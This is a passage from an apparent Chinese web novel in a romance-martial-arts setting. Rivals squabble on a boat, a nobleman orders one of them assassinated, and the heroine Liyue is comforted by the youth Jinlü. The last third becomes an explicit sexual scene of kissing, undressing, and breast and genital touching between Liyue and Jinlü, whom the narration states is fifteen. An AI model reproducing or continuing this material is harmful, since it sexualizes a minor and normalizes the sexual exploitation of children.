璃月见这个毒舌男主动找自己,小嘴还倍儿甜,立马知道昨夜的辛苦要见成效了。想到马上就可以报昨天在竹林吃瘪的一箭之仇,她心里美到不行,抬头嫣然一笑,道:“乐意之极。”

正文 攻受皆宜

苏吟歌和璃月下了楼来到一层的甲板上,回身看了看二楼把着栏杆偷看的金缕和站在门侧沉着脸大喇喇地盯着看的曲流觞,苏吟歌风情万种地一笑,俯下身倾过脸,姿势暧昧地在璃月耳边轻声威胁:“不想变得更丑就把我的灵芝还给我。”

璃月闻言,笑得比他更风情万种,踮起脚尖附在他耳边反击:“门儿都没有!”

言讫,两人相视而笑,那模样,外人看来绝对是勾搭成奸打得火热,眉目传情暗送秋波。

曲流觞的眉头皱了起来,而金缕则是抿着唇瞪大眼。

苏吟歌看了她片刻,重又姿势温柔地附耳道:“最近你练功时,是不是发现周身隐痛,每到紧要关头便痛不可耐难以为继?”

璃月心中一紧,表面却不动声色,只是眸色微深,勾着嘴角道:“想唬我?我才不上你的当。”

苏吟歌高深莫测地笑了起来,轻声道:“是不是唬你,你自己心里有数。这门武功太霸道,你的筋骨脉络太弱,不足以承受它强悍的内力,除非你满足于停留在现在这个层次,若想更上一层楼,天下,除了我,没有人能帮你。”

璃月看着他,不知他话里有几分是真,不过她自从练成血魔第五层后,的确如他所说,每次练功都周身隐痛,以前虽然每次突破一个阶层也会痛入骨髓,但现在这种痛却完全超过了她的承受极限,所以,她的武功,已经停滞不前很久了。

他既然能一语道破,想来还是很有本事的。

念至此,她娇媚地一笑,干脆伸手搭上他的肩,仰头:“我凭什么信你?”

苏吟歌还未说话,只听身后一阵风响,再抬眸,发现璃月已经被扯到一边,曲流觞黑着脸看着他,语气不善道:“说话便说话,动手动脚干什么?”

苏吟歌万分无奈地仰头,叹道:“大哥,动手动脚的是我吗?你也太黑白颠倒是非不分了吧?”

曲流觞振振有词道:“是你勾引的她,就是你的错!”

苏吟歌觉得自己好想杀人!

“放肆!再敢对我的小苏苏大吼大叫,我叫人砍了你!”一旁,金缕气喘吁吁地跑过来,冲曲流觞大吼一声,然后转过头,一脸委屈地看着苏吟歌道:“小苏苏,你为什么要勾搭月姐姐啊?要是你们俩好上了,我怎么办?如果你真的喜欢月姐姐,那以后我们就三个人一起睡好了,反正我也喜欢月姐姐。”

……

短暂的冷汗和沉默过后,曲流觞大喝一声:“我先砍了你这色鬼!”说着一脚朝金缕踢去。

金缕一下躲到苏吟歌后面,惊惶大叫:“救驾!救驾!”

四大金刚闻声赶来,立马就与曲流觞混战一处。

金缕在一旁笑眯眯地看着,对身后的苏吟歌和璃月道:“好了,这下清静了。”

闻言,苏吟歌和璃月第一次表现出了心有灵犀:两人同时伸手抚额,无语地叹了口气。

*

楼上,玉无尘注视着窗外烟波浩渺的江面,一手轻轻罩在茶杯上,一脸的云淡风轻。

站在他身侧的出岫听着楼下传来的阵阵喧哗,抬眸又看到玉无尘手下那只茶杯已出现了一丝裂缝,淡青色的茶水正从缝中不停的溢出来,心知自家少爷心中不爽,遂道:“少爷,你要是没兴致赏景,我们不如回去?”

玉无尘回过神来,发现指上沾了茶水,掏出一方白绢一边轻拭一边道:“这里景色挺好,怎会没有兴致?再者,这种时候,我怎能回去呢?”低头看了看檀郎,又问出岫:“你觉得它变了吗?”

出岫怔住,一只狗有什么变不变的?少爷想问的,只怕是那个人吧?

他看着檀郎,摇了摇头,道:“属下觉得,即使有变也只是外表,对少爷,应该还是一样渴望亲近的。”

玉无尘不置可否,只淡淡道:“给我换杯茶吧。”

*

鉴于曲流觞和金缕闹得不可开交,几乎达到了你死我活不共戴天的地步,所以璃月提议:打道回府吧。

船都开始掉头了,苏吟歌这个东道主才想起去征求贵客玉无尘的意见,玉无尘十分好脾气地同意了。

好不容易上了岸,檀郎第一个跑下船,曲流觞想唤它回去,它却只冲他摇尾巴,等玉无尘下了船,它小跑着腻到了玉无尘身边。

曲流觞本就不好的脸色又难看几分,回身看璃月。

璃月自然也看到了这一幕,见曲流觞那表情,心知如果和他一起回去定然会被他追问与玉无尘的关系,但此事她却不愿意多说。

想到此处,她对曲流觞讪讪一笑,身形一闪便躲到了金缕身后。

曲流觞头顶冒着白烟,甩袖而去。苏吟歌见状,嘴角噙着幸灾乐祸的笑意,送玉无尘回他的住处。

金缕见他们都走了,回身抓住璃月的手腕,笑眯眯道:“月姐姐,你只能和我玩了。”

璃月看了看玉无尘远去的背影,再抬眸看看金缕比女子更美艳的脸庞,嘴角一勾,道:“好啊。”

*

入夜,风华园。

出岫端了一杯茶,穿过景色雅致的庭院来到玉无尘房中,抬头便看到玉无尘脚步匆匆地在室内徘徊,一边走一边用玉扇轻击着自己的额头,看上去烦躁而又恼怒,全无一丝平时优雅从容的样子。

出岫无声地叹了口气,自从下午回来后,他已经徘徊了几个时辰了。

将茶杯放在一旁的桌上,他斟酌着开口:“少爷,此番前来天一岛你不是准备让苏庭松给你引荐天圣宫宫主的么?云浅下午已经到了,同行的还有南佛五皇子金威和颖王元齐。”

玉无尘挥挥手,语音短促,道:“我现在没心情。”

出岫看着他走了几个来回,又道:“以属下看来,璃月姑娘心中定然还为上次之事置着气呢,今日所为不过是想刺激刺激少爷罢了。”

玉无尘脚步一停,抬眸看着出岫,如玉光洁的额头上已被玉扇敲出了一道红印,道:“或许……”顿了顿,又皱眉道:“可这也太刺激了!”言讫,继续徘徊。

出岫开始担心,他会不会就这样在屋里转一夜的圈圈。

少顷,玉无尘倏忽站住,手中玉扇指着出岫,道:“你马上下去安排,我要知道这个曲流觞的一切。”

出岫答应着,刚刚走到门口,又听他道:“罢了,你回来。”

出岫转身,不解地看着他。

玉无尘一手撑在桌上,思索着问:“龙天他们已经到环东郡了么?”

出岫答道:“属下接到的消息是今天上午到的,不过,还没有发现叶千浔的踪迹,小姐也不知去向。”

“召他们回来,设法让龙天见曲流觞一面,告诉他,一旦此人离开天一岛,立刻袭杀。”玉无尘眸光淡淡,十分平静地吩咐。

出岫凝眉,道:“少爷,这曲流觞与苏吟歌似乎交情不浅,我们若是杀了他,恐怕有些不妥吧?”

“苏吟歌此人亦正亦邪,不是我等可以深交之人,得不得罪都无所谓,如何处理与我月潇山庄的关系,苏庭松应该心里有数。”玉无尘坐了下来。

出岫沉默,转而又问:“那叶千浔那边……”

“此番事起仓促,九龙只来了龙天一人,南佛又非我玉氏根基之地,只怕终也奈何叶千浔不得。下次另觅机会吧。”玉无尘抚额。

出岫领命,转身欲走,想了想,又问:“若是那曲流觞与璃月姑娘一起离岛,又该如何?”

玉无尘怔了怔,脸色又难看起来,道:“他们总不至于时时黏在一起,龙天要杀人,不会找不到机会。”

*

圣临园。

十数盏莲花宫灯将室内映得银光似雪,一身锦绣的金缕坐在灯下,不安地看着捧着他脸的璃月,问:“月姐姐,你要做什么?”

“别动!”璃月纤指在他眼睑处拨弄几下,嗖的一声揪下一根睫毛来,然后在金缕的惨叫声中跑到东墙下的铜镜前,凑过脸比了比自己的睫毛,哀怨道:“一个男人的睫毛竟然比我长那么多,还又浓又密又黑又翘,天理何在啊?”

瘫坐在妆台上,她羡慕嫉妒恨地看着不远处那肌肤胜雪柔腻生光的妖孽,气鼓鼓地问:“小粉嫩,你老实告诉姐姐,你皮肤为什么这么嫩,睫毛又为什么这么长?”

金缕明若春水的眼眸眨了两眨,灿然一笑,道:“小苏苏给我调理的。”

璃月眼睛一亮,腻到金缕身边,诱哄道:“你告诉姐姐,他用什么给你调理的?”

金缕很爽快地给出答案:“不知道。”

璃月一呆,伸手拽住他一缕丝滑的长发,威胁性地扯了扯:“不说实话可是要受罚哦。”

金缕眸中立刻泛上一层无辜泪光,委屈地撇着嘴角,道:“我真的不知道,他弄的那些花花草草我又不认识。”

璃月挫败,想起日间他说的话,她清了清嗓子,问:“你和那个……咳,小苏苏在一起的时候,是他在上面还是你在上面?”

金缕貌似有些害羞,小声道:“不一定,有时候他在上面有时候我在上面。”

呃……璃月无语地看着他,想不到他小小年纪就这般道行高深,不仅男女通吃,还攻受皆宜。

还有就是,那毒舌男,果真是个龙阳君啊!

怪不得一开始便对她满怀敌意,估计他对曲流觞也怀着非分之想呢。

想起曲流觞,她又烦了起来,话说,待会儿回去他若问她关于玉无尘的事,她该怎么说啊?叶千浔不过在她脖子上印了几个吻痕他便要去杀他,若让他知道她喜欢玉无尘好几年,还不得疯啊!

玉无尘那个混蛋,今天一定看见她脖颈上的吻痕了,却一直笑眯眯的不见丝毫异常,如此看来,他果真是不在意她的。

不在意便罢了,谁稀罕他在意来着?

正想得难受,突然感觉有一双狼爪极不安分地环住了她的腰。

她低头一看,金缕那小子娇颜如花眉目含情地抱着她,一脸纯洁道:“月姐姐,小苏苏看来今天不会来了,我们一起睡吧。你喜欢在上面还是在下面?”

璃月:“……”

正文 销魂前戏

璃月看着金缕那美绝人寰的脸庞,思绪有些混乱。话说,眼前这小子的确是世间少有的粉嫩和妖孽啊,为什么自己却丝毫没有将他扑倒的意思呢?

想来想去,她把原因归结于他和苏吟歌的断袖关系。龙阳君什么的,她虽然不排斥,但也绝对没有接受他们的心理准备。

于是她清了清嗓子,一指戳在金缕如雪皓白如玉光洁的额头上,将他轻轻抵开,道:“小粉嫩,我不喜欢龙阳君,所以,我们不能一起睡,懂吗?”

金缕一听,立马指天戳地地赌誓:“月姐姐,我不是龙阳君,真的,女人我也喜欢的。”

璃月咳了一声,道:“我知道你是男女通吃……但我还是不能和你一起睡。喂,放开我啦,我要走了。”

不想金缕闻言,凝聚九天星光般的双眸中立刻泪光潋滟,委屈无限地抛出一句:“月姐姐,你嫌弃我……”言讫埋首于她怀中,呜呜咽咽哭得好不伤心。

因为璃月站着而他坐着,这么一来,他的脸竟直接贴在了璃月的胸上,璃月怔了一怔,立马一掌将他推开。他没有准备也没有反抗,后背“砰”的一声撞在坚硬的檀木椅背上,光听声音就觉得很痛,璃月悄悄捂住耳朵,准备迎接他的号啕大哭。

不想他却不哭了,带着一脸哀怨的表情,他眼泪汪汪伤心无限地凝视着璃月,那模样,仿佛全世界都抛弃了他一样,看得人好心酸。

璃月正有些不知所措,却见他缓缓站起身,走到里间的大床上躺下,蜷着身子,从璃月这个角度看去,只看到他黑盈盈的眸子定定地看着她,隐约可见晶莹的泪珠顺着眼角下滑,将无人相伴的寂寞和遭人拒绝的伤心展露得淋漓尽致。

无可否认,那样子,真的像极了一个无助的孩子,而且是个艳倾天下的孩子,而这样的孩子,很容易激起女人天生的母性。

璃月也不例外。

她本想转身离开,可看到他那样,却迈不动步了。僵立了片刻,她有些懊恼地挠挠头,走到床边,忽略床上少年那跟孩子沾不上边的身高,只看着他粉嫩嫩的美艳脸庞和纯稚无辜的双眸,道:“小粉嫩,我不是嫌弃你,只是……你比我小,身为姐姐,我不能欺负弟弟,明白吗?”

床上妖孽大睁着一双小鹿般的眸子,弱弱道:“借口。六年前你只比我大一岁,如今过了六年,我早就比你大五岁了。我本不该叫你月姐姐,只是一时改不了口。以后我叫你小月月,你叫我缕哥哥好不好?这样你就不算欺负我了。”

呃……

璃月无语地拭了拭额上的冷汗,不懂这妖孽是什么逻辑,敢情他以为这六年他长了六岁,而她一岁没长?

如果要跟他讨论这个问题,她会觉得自己跟他一样智障了,于是她转移话题,道:“小粉嫩,你还小,男女之事并不像你想的那么简单。所以,我们不能随随便便睡在一起,知道吗?”

“我不小,男女之事我很懂的,小月月你试试就知道了。”床上妖孽眼中还含着泪,眼角却已弯起妩媚勾人的风情。

为了维持意识清醒,璃月悄悄退后一步,捏了捏掌心,道:“试试么,就免了吧。咳,小粉嫩,你累了,早点睡,我先走了啊。”说着,转身便欲开溜。

走了几步,身后传来嘤嘤的低泣声。

知道那妖孽又在哭,璃月很想狠狠心就这样离开,但那细细弱弱的声音就像绳索一般,紧紧缠着她的双足让她举步维艰。

不明白自己一向狠绝的心肠缘何独独为这粉嫩妖孽柔软,璃月无奈地停下脚步,转身。

床上,妖孽正哭得梨花带雨牡丹含露,那楚楚可怜柔弱可欺的模样,让璃月觉得自己如果不回头,心一定是铁做的。

坐到床边,不习惯安慰人的璃月有些僵硬地伸手轻拍着妖孽的背,哄道:“好啦,一个大男人整天哭哭啼啼像什么样子?如果你再这样,我可真要嫌弃你了。”

妖孽抬起泪眼,委屈地咕哝一句:“你本来就嫌弃我。”

“我没有!”璃月有些不耐烦。

妖孽眨落一颗泪珠,有些畏怯地看着璃月,小小声道:“若是,你亲我一下,我就相信你没有嫌弃我。”

璃月指着他的鼻子道:“就亲一下,你不准再哭,不准吵着要我跟你一起睡,乖乖睡觉,答不答应?”

妖孽忙不迭地点头,翻过身子平躺着,等她来亲。

璃月看着他,雪白的肌肤在红色锦衾的映衬下嫰得几乎能滴出水来,眉如远山,目含春水,高挺的鼻下,唇色嫣红,弧度柔软,一头黑发散落枕上,如大团墨色的花,美得妖艳。

心中荡漾之余,璃月忍不住哀叹:这样一只尤物,却是个半龙阳,可惜啊可惜。

如是想着,她哀莫大于心死般俯下身子,准备在他额上亲一下了事。

就在两人的脸庞相距不过几寸时,他突然伸手搂住璃月的肩,璃月一个不稳趴在他胸上,唇正好落在他的唇上。

好软。

璃月正心旌摇晃,他的舌却灵活地窜了进来,甜甜的,带着一丝奶香,正是上次在龙辇中那糖豆的味道。

这味道取悦了璃月,以至于她不但不抗拒他不请自来的探索,甚至有些主动地追逐着他的舌,想要尝尽那丝甜蜜。

没有节制的火热拥吻让气氛在瞬间变得旖旎暧昧,金缕的舌灵活如一尾小蛇,璃月想跟上他的节奏却完全没可能,只能感觉到他轻柔曼妙地触探着她口中每一处敏感的角落,让她不知不觉地酥软下来,不再试图含住他的舌,也不再想要抗拒,只想……好好的享受。

比起叶千浔和曲流觞来,他的接吻技巧无疑太好了,在他火热缠绵的吻中,璃月只感到头有些发晕,而身子却有些发麻,小腹中个似乎有股热流蠢蠢欲动,唇舌交缠的美好和诱惑被无限放大,在此之前,璃月从不知道,原来亲吻可以让人这般沉醉和快乐。

深切而激烈的缠吻让呼吸变得有些不畅,可即便这样,却仍让人舍不得放开。

金缕却似乎想要结束这个吻,他火热的舌尖退出她柔嫩的口腔,转而轻轻描绘她美好的唇形,吸吮了片刻她丝滑的唇瓣后,放开了她。

璃月有些迷离地睁开双眸,发现自己不知何时已经被他压在了身下。他的长发少了玉冠的束缚,瀑布一般披散下来,遮住了墙角那边的灯光,隐于昏暗中的脸庞上,只有那双眸子如星子一般明亮,他的表情迷魅而神秘,不似他平常的模样。

璃月有些不习惯,伸手拢起他的长发,想看得更清楚一些。

事实却证明,那只是光影效果。居高临下的他玉白的双颊有些微红,目光澄澈,微微喘息着,低声道:“小月月,你好美,你是我见过的最美的女子。”

他只要一个吻而已,但现在好像没有放开她的意思。

就此结束吗?掀开他,离开?

璃月看着他因动情而显得更加迷人的脸庞,听着他动听的情话,回想着方才那美好的感觉,再思及现如今依然酥软的身体……

她伸臂勾住他的脖颈,轻声诱惑:“小粉嫩,再来一次好不好?”

金缕毫不迟疑地俯下脸,再次含住那已经有些微肿的樱唇。

唔,为什么光是亲吻就能让她这么想要?话说回来,这小子才十五岁,也不知道发育完全没有……

璃月被他吻得欲火焚身,一边迷迷糊糊地想一边情不自禁地抱紧了他,手臂圈住的那壮硕身体让她微微放心了一些。

腰带不知何时松了,轻薄的罩纱少了束缚,自动地滑落身侧,一只修长的手,沿着她的肩颈,一点点地向下移动。

那火热的指尖,轻柔而缓慢地在她柔嫩的肌肤上画着圈圈,微痒的触感让她不由地绷紧了身子,本来想抗拒那些微的瘙痒,却不想,这样的动作却只让她的身体变得更敏感。

他的唇转移了阵地,含住她小巧的耳垂吮吸轻咬,在她低吟出声时,又沿着她的耳根向下吻去,那该死的湿滑的舌尖,在她还印着吻痕的脖颈上慢条斯理地画圆打圈,带来又痒又舒服的感觉。她闭着双眸,脖颈向后仰起,纤纤十指深深插进他丝滑的发中,沉醉于他温柔的挑逗。

他的指似带着无尽的魔力,抚触到哪里,哪里就敏感地泛起一层鸡皮疙瘩,璃月觉得自己越来越热越来越敏感,这种快要烧起来的感觉让她极度地空虚也极度的渴望,而这种渴望,在他的手抚上她的胸时,被激发到了顶点。

他那样的熟练而富有技巧,璃月自己都不知道自己的胸在某种抚触下会如此舒服,以至于她都忍不住在他身下小蛇般轻轻扭动起来。

他的舌一路向下,点燃一串火花,最终停留在她饱满的玉峰之上,灵活地围着那嫩红的蕊花打转。

“嗯……不要,好痒……”她揪紧了他的长发,娇嗲地轻吟出声。

他听话地停止了打圈的动作,以口相就,含住那小巧的蕊珠,婴孩般的吸吮起来。

临近十月,南佛的夜已褪去了暑气,凉爽宜人。但此刻,璃月瓷白的肌肤上却冒出一层细小的汗珠,她双颊酡红,眸晕水光,难以克制地低吟喘息。

金缕如墨的长发丝丝缕缕地滑过她皓如白雪般的胴体,黑与白亲密无间地交缠,营造出致命的诱惑和淫靡气场。

璃月喘息着,感觉到自己的腿间似乎有某种滑润的液体渐渐溢出,而这种感觉,以前只有和叶千浔做到愉快之处才会有。

她有些疑惑,然更多的却是期待。身体中的欲望因子因他的撩拨而异常兴奋。她很少像现在这般乖顺,只是因为她觉得,由他主动比她亲自动手会更让她感觉舒服,他似乎比她更了解她的身体。

那只一再引起她战栗的手不安分地顺着她的小腹向下滑,在她的肚脐处流连了一小会儿后,泥鳅一般钻进了她雪白的亵裤中,保养良好柔软灵活的长指一下便按在了她私密的珍珠上,异样的刺激让她禁不住地低喘一声,夹紧双腿揪着他的衣襟摇头道:“不要。”

他从她胸前抬起令人目眩神迷的脸庞,带着令人无法抗拒的幽魅魔力温柔低语:“小月月,相信我,这会让你舒服的。”